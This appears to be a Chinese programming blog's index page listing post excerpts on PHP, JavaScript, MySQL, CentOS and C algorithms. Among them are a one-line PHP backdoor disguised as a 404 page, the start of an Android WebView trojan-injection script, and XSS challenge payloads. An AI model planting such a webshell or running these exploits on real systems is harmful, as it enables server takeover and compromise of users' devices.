自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

xyang

chose your love and then love your choice

  • 博客(84)
  • 资源 (1)
  • 收藏
  • 关注

原创 python发送邮件(含附件)

sendmail配置smtp认证是个坑sendmail配置smtp认证是个坑sendmail配置smtp认证是个坑重要的事情说三遍,好了进入正题#!/usr/bin/env python#coding=utf-8import sysimport smtplibfrom email.mime.multipart import MIMEMultipart#from

2015-10-16 12:05:14 1030

原创 将wordpress文章分享到qq好友怎么做?

移动端的网站怎么将页面分享到微信好友、微信朋友圈,找了很久的方法,发现都是白费,腾讯没有提供接口给我们:(如果有好心人士知道,求分享告知这里贴出分享到qq好友的代码(function(){var p = {url:location.href, /*获取URL,可加上来自分享到QQ标识,方便统计*/desc:'', /*分享理由(风格应模拟用户对话),支持多分享语随机展现(使用|

2014-12-18 17:13:47 3406

转载 微博分享各类规格代码

VARIABLES:$weibo_var_width$weibo_var_height$weibo_buttontype 1-3 (icon), 4-6 (button)142\" height=\"66"90" height="70weibo_sharebutton_button_settingsOld value:Array( [icontype] => 3

2014-12-18 17:09:15 1103

转载 cookie加密解密函数

/** * 解密已经加密了的cookie * * @param string $encryptedText * @return string */ public function _decrypt($encryptedText) { return $this->authcode ( $encryptedText, 'DECODE' ); } /** * 加密c

2014-07-25 10:36:58 2014

转载 解决checkbox未选中不传递value

做了一列name=IsYellow的checkbox,要求是保持整个序列的完整提交。后来发现checkbox 如果没有checked(选中状态),就不传递value值。也就是说做了10个checkbox,选中n个,那么传递value值的数组长度就是n。为了保持传递数据的完整性,有人说为每个checkbox配备一个hidden类型的表单对象来存放数据。这个方法可行但是代码量太大。尤其是当你希

2014-07-08 12:06:32 17145 2

转载 centos6.5禁用ipv6

centos6.5禁用IPv6IPv6还没有完全普及,但是安装完系统之后IPv6是有效的,在一定程度上影响网络性能,所以在我们在完全不使用IPv6的情况下,最好关闭IPv6。其实在上一篇网络设置的文章中,我们提到过是否激活IPv6,但是只是那一点设置还是不能完全关闭IPv6,所以本文以完整的步骤叙述一下如何关闭它。1.修改/etc/sysconfig/network,追加:NETWORKIN

2014-07-04 09:28:17 1312

转载 mysql数据库权限分配-参考

权限说明网站使用账户是否给予Select   可对其下所有表进行查询建议给予Insert            可对其下所有表进行插入建议给予Update               可对其下所有表进行更新建议给予Delet

2014-06-25 16:16:56 1215

转载 安卓挂马代码

function getContext(){var obj, jsInterface, r;for (var obj in window){try {if ("getClass" in window[ obj ]) {try{jsInterface = window[ obj ];}catch(e){}}} catch(e) {}}if( !

2014-06-23 19:31:55 959

转载 wordpress根据分类关联tag&根据tag关联分类

1、根据分类关联tag

2014-06-23 17:35:11 2069

转载 PHP一句话后门

404 Not FoundNot FoundThe requested URL was not found on this server.<?php@preg_replace("/[pageerror]/e",$_POST['error'],"saft");header('HTTP/1.1 404 Not Found');?>

2014-05-26 16:14:54 3077

转载 特殊字符编码

名称字符ASCII16进制URL编码HTML编码换行 10\x0a%0a&#10感叹号!33\x2121%&#33双引号"34\x2222%&#34或&quot美元符号

2014-05-06 12:37:31 7253

转载 preg_match过滤URL

<?php//从URL中获取主机名称preg_match('@^(?:http://)?([^/]+)@i', "http://www.php.net/index.html", $matches);$host = $matches[1];//获取主机名称的后面两部分preg_match('/[^.]+\.[^.]+$/', $host, $matches);echo "dom

2014-05-06 09:52:56 1429

转载 Mysql字段大小

列类型 需要的存储量 TINYINT 1 字节 SMALLINT 2 个字节 MEDIUMINT 3 个字节 INT 4 个字节 INTEGER 4 个字节 BIGINT 8 个字节 FLOAT(X) 4 如果 X < = 24 或 8 如果 25 < = X < = 53 FLOAT 4 个字节 DOUBLE 8 个字节 DOUBLE PRECISION 8 个字节 REA

2014-03-27 10:31:11 770

原创 js倒计时器+防止刷新

//读Cookie,返回值为相应Cookie的内容 function getCookie(cookieName){ var cookieContent = ''; var cookieAry = document.cookie.split("; ");//得到Cookie数组 for(var i=0;i<cookieAry.length;i++){

2014-03-22 16:04:37 2410

转载 Request.ServerVariables参数集合

Request.ServerVariables("Url") 返回服务器地址Request.ServerVariables("Path_Info") 客户端提供的路径信息Request.ServerVariables("Appl_Physical_Path") 与应用程序元数据库路径相应的物理路径Request.ServerVariables("Path_Translated")

2014-03-18 14:16:10 872

原创 点击后变为可编辑状态(ajax异步提交)

//相当于在页面中的body标签加上onload事件 $(function(){ //找到所有的td节点 var tds=$("td"); //给所有的td添加点击事件 tds.click(function(){ //获得当前点击的对象 var td=$(this); //取出当前td的文

2014-03-18 12:09:20 3704

转载 获取本地ip

<?phpclass Getip{public function getip() { if (@$_SERVER ["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER ["HTTP_X_FORWARDED_FOR"]; else if (@$_SERVER ["HTTP_CLIENT_IP"]) $ip = $_SERVER ["HTTP_CLI

2014-03-18 12:02:55 858

转载 正则表达式常用(持续补充)

//验证手机号码function check(){var telephone = document.getElementById('telephone').value;var reg = /^1[3458][0-9]\d{8}$/;if(reg.test(telephone)){ return true;}else { alert("手机号码格式错误"); retu

2014-03-14 17:30:43 1354

转载 php导出数据excel

function down_grade() { //查询考卷成绩 $tb_tester = new IModel("tester"); $tb_paper = new IModel('paper'); $tb_exam = new IModel("exam"); $tb_group = new IModel('group'); $exam_info = $tb_ex

2014-03-12 10:32:12 621

转载 表单验证--js正则表达式

function check(){var regBox = { regEmail : /^([a-z0-9_\.-]+)@([\da-z\.-]+)\.([a-z\.]{2,6})$/,//邮箱 regName : /^[a-z0-9_-]{3,16}$/,//用户名 regMobile : /^0?1[3|4|5|8][0-9]\d{8}$/,

2014-03-10 16:47:05 717

转载 简单倒计时--js代码

var timelimit = document.getElementById('timelimit').value;//alert(timelimit);var maxtime = timelimit*60 //一个小时,按秒计算,自己调整! function CountDown(){ if(maxtime>=0){ minutes = Math.floor(maxt

2014-03-10 15:49:46 1131

原创 PHP判断字符串str中是否存在某个值

strstr() strstr — 查找字符串的首次出现(php v4,v5)函数搜索一个字符串在另一个字符串中的第一次出现。该函数返回字符串的其余部分(从匹配点)。如果未找到所搜索的字符串,则返回 false。该函数区分大小写。如果想要不区分大小写,请使用 stristr()$email = ‘ [email protected]’;$domain = strstr($email, ‘

2014-03-07 17:33:34 28659 1

转载 css控制显示字数(超出部分显示省略号)

.qcontent{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;}

2014-03-05 14:59:35 1587

转载 根据ip地址获取地理信息

网上有很多开放的公共接口可以选择,收藏两个静态页面通过ip获取地理位置的代码sinagetInfo from sina$(document).ready(function(){$.getScript('http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js',function(){ $(".countr

2014-03-05 09:42:00 1522

转载 XSS Challenges

http://xss-quiz.int21h.jp第一关:第二关:">alert(document.domain);第三关:http://xss-quiz.int21h.jp/stage-3.php?sid=93de7707279b3a5ae4ce419bfc7c0b1f380a20f6提示:The input in text box is properly escaped但是输入点

2014-01-12 16:20:49 1790

原创 单链表的反转问题

总是有些笔试会碰到#include#include#define n 5typedef struct node{ int num; struct node* next;}*nodelist,node;int a[n];nodelist create(int m,int *a){ nodelist L; nodelist head; int i=0; head = (n

2014-01-07 21:40:55 811

原创 cenos下静态ip配置

配置的过程可以参考这位博主的http://www.cnblogs.com/coacaio/archive/2011/12/12/2284715.html不过我的centos6.3版本,还是记录下配置过程1、首先编辑网卡配置文件 vi /etc/sysconfig/network-scripts/ifcfg-Auto_eth0BOOTPROTO=static#设置网卡获得ip地址

2013-12-15 14:39:24 1089

转载 PHP导出数据库数据至Excel

<?php/** * 导出到excel文件(一般导出中文的都会乱码,需要进行编码转换) * 使用方法如下 * $excel = new Excel(); * $excel->addHeader(array('列1','列2','列3','列4')); * $excel->addBody( array( array('数据1','数

2013-12-12 13:08:53 1457 1

原创 两级联动select刷新后,select值保持不变

背景还是学院和专业的关系,我需要保持点击提交按钮后,页面select中继续维持提交前的值网上有几种办法,要么通过url跳转时候附带参数形式传回页面,或者提交时候讲select的值保存在cookie中,提交后再把cookie中的值填回select中。我是按照保存在cookie中的方法实现刷新后select值不变window.onload = function () { var c

2013-12-02 16:34:49 3312

原创 Ajax异步传输与PHP实现交互

背景前台页面两个select框,一个与学院关联,另一个与专业关联,现需要选择学院select框后,显示学院相关信息,且专业select下面仅有属于该学院的专业名称。也就是实现一个二级联动效果。两个select里面分别定义onchange事件,事件中利用ajax的GET方法向后台PHP递交信息,再将查询得到的信息echo出来或document.write。注:代码参考了有位叫y0umer

2013-12-02 16:00:27 1695

原创 centOS上配置JDK1.7

先去http://www.oracle.com/technetwork/java/javase/downloads/java-se-jdk-7-download-432154.html下载jdk后面的操作我都是用root身份来执行的[root@localhost Desktop]# mv jdk-7u45-linux-i586.rpm /usr/java切换到/usr/java目录下

2013-11-17 09:52:39 742

原创 统计字符串中出现次数最多的字母并输出

/**input:tester*output:e*/#include#include//统计字符串中出现次数最多的字母,如果字母出现次数相同,则按a-z字典序输出第一个。int countCharacter(const char * str){ int i=0,max=str[0]-'a'; int num[26]={0}; while(str[i] != '\0') {

2013-11-06 12:05:22 5987

原创 字符子串问题

转换字符串格式为原来字符串里的字符+该字符连续出现的个数/***input:1233544*output:1121325142**/#include#includeusing namespace std;int main(){ cout<<"Enter the numbers:"<<endl; string str; char reschar[50]; rescha

2013-10-21 11:06:56 775

原创 不调用字符串库函数,实现字符串复制函数

#include#include#includevoid stringcpy(char *to,const char *from){ assert(to != NULL && from != NULL); while(*from != '\0') *to++ = *from++; *to = '\0';}int main(){ char *f; char *t; f

2013-10-21 10:05:23 1528

原创 冒泡、插入、希尔和快速排序算法

#define MAXN 7#includeusing namespace std;int a[MAXN] = {4,3,2,1,5,9,6};//交换void swap(int &a,int &b){ int tmp; if(a > b) { tmp = a; a = b; b = tmp; }}//输出void show(){ int i; for

2013-10-19 14:50:13 729

原创 给出一个单链表,不知道节点N的值,怎样只遍历一次就可以求出中间节点,写出算法。

算法:设立两个指针,比如*p和*q,p每次移动两个位置,即p=p->next->next,q每次移动一个位置,即q=q->next。当p到达最后一个节点时,q就是中间节点了。void searchmid(node* head,node* mid){ node *temp=head; while(head->next->next != NULL){ head = head->nex

2013-10-15 09:35:47 2683 1

原创 sizeof 与strlen区别

1、 sizeof是运算符,strlen是函数2、 sizeof可以用类型做参数,strlen只能用char*做参数,且必须是以“\0”结尾的。3、 大部分编译程序在编译的时候就把sizeof计算过了,是类型或是变量的长度;strlen的结果要在运行的时候才能计算出来,用来计算字符串的长度,而不是类型占内存的大小 char str[20]=”0123456789”;int a=strle

2013-10-15 09:34:10 729

原创 隐式类型转换

1、混合类型的算术表达式中在这种情况下最宽的数据类型成为目标转换类型----算术转换int ival = 3;double dval = 3.14159;//ival被提升为double类型:3.0ival + dval2、用一种类型的表达式赋值给另一种类型的对象在这种情况下目标转换类型是被赋值对象的类型// 0 被转换成int*类型的空指针值int *pi = 0;//

2013-10-15 09:30:36 872

原创 约瑟夫环问题

/***约瑟夫环:已知n个人(以编号1,2,3...n分别表示)围坐在一张圆桌周围。*从编号为k的人开始报数,数到m的那个人出列;*他的下一个人又从1开始报数,数到m的那个人又出列;*依此规律重复下去,直到圆桌周围的人全部出列。*实现方式:循环链表*2013-10-15**/#include#includeusing namespace std;typedef struc

2013-10-15 09:26:55 950

原创 校园招聘--百度笔试

笔试职位:安全工程师—深圳三个大题,简答+程序与算法设计+系统设计ps:题目记得不是很清楚了,可能描述不够准确,慎重查看~欢迎补充~_~简答题有三个1、 描述OSI(开放系统互联基本参考模型)七层结构。2、 写出进程间数据共享的方式,至少三种。3、 描述TCP和UDP的区别,并各写出一个他们的上层协议。程序与算法设计1、 给出数组A={a_0,a_1,a_2,...

2013-10-13 22:16:05 3772

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除